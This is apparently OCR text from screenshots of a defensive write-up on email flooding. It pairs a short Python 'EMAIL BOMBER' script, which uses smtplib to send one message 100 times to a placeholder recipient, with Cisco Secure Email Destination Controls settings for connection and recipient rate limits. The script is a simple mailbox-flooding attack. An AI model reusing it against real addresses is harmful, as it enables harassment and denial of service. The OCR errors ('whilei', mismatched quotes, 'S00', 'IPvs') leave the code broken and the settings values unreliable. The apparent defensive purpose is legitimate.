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import smtplib subject ='EMAIL BOMBER' body = 'l am bombing you!" message = f'Subject: { subject}\n\n{ body}' server =
smtplib. SMTP(" XXX XXX XXX.XXX", 25) i =1 whilei < 100: server.sendmail("SENDER_ADDR", "RECIPIENT_ADDR", message) i += 1

server.quit()
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Destination Controls

Destination Control Table
Add Destination... Import Table

Domain | IP Address Preference | Destination Limits TLS Support | Certificate DANE Support < | Bounce Verification * | Bounce Profile | Delete

500 concurrent connections,
Default | IPv6 Preferred 50 messages per connection, MNone Cisco ESA Certificate | Mone Off Default

Mo recipient limit
Export Table

* Bounce Verification settings apply only i
~ DANE will not be enforced for domain:
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Default Destination Controls
1P Address Preference: | | IPvs Preferred

Limits: Concurrent

Connections: S00 (between 1 and 1,000)
aximum Messages Fer PR
Conngection: 50 (between 1 and 1,000)

Recipients: | @ ya Limit
) Maximum of I 0 60
Number of re

ients between 0 and 1,000,000,000
per number of minutes between 1 and 60

Apply limits: | Per Secure Email hostname:
@ System Wide
\_! Each Virtual Gateway

(recommended if Virtual Gateways are in use)

TLS Support: | [ None |

A security certificate/key has not yet been configured. Enabling TLS will automatically enable the
"Cisco ESA Certificate” certificate/key. (To configure a different certificate/key, start the CLT and
use the certconfig command.)

Certificate: | Cisco ESA Certificate + |
DANE Support: (3)  nione v

Bounce Verification: Perform address tagging: @ Mo
) ves
Applies only if bounce verification address tagging is in use. See Mail Policies = Bounce Verification.
Bounce Profile: | To edif the Default bounce profile, use Netwark = Bounce Profiles.

Note: DANE will not be enforced for domains that have SMTP Routes configured.
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